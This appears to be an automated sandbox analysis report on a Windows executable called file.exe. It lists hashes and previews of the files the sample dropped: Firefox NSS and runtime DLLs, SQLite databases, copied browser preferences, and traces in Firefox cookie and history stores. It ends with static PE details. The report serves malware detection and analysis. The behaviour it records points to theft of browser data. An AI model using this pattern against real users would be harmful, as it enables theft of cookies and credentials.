Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDHJKFIECAAKFIJJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJKFCGHIDHCBGDHJKEBGDGIJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJDAAECGHDGDGCGHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947980471303324
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'831'936 bytes
MD5:	6b618b13d3618f8771f4b25628cecfaf
SHA1:	bd9c69483af8ad3551127d3d2acba69269e78eac
SHA256:	86db7dfb31cc072f944c5eb7c722e55ec5f832e39b22ff6c77d06f0fbf222720
SHA512:	df84395abe5460df82a6677693beeac52fdc2209086c299ba54049783db0e65000b22cabac05a268b2d9d739e20e2a31391a706c2cb34f5e60a1923094e0e4ed
SSDEEP:	24576:+uLvAVKtiuMmOjNxav/o4vtdiowFsaPlzoKy3d7RJo2YzBAjpdKZc6hWyl7PgS19:MKtE0+sa9zTu7RrYVqKmLmPg
TLSH:	CF8533AD7FA02569C817827236C29CFF3921D2A03DD87E5868F024FDD5A3D614F9EA14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB155A07FBAh
psrld mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
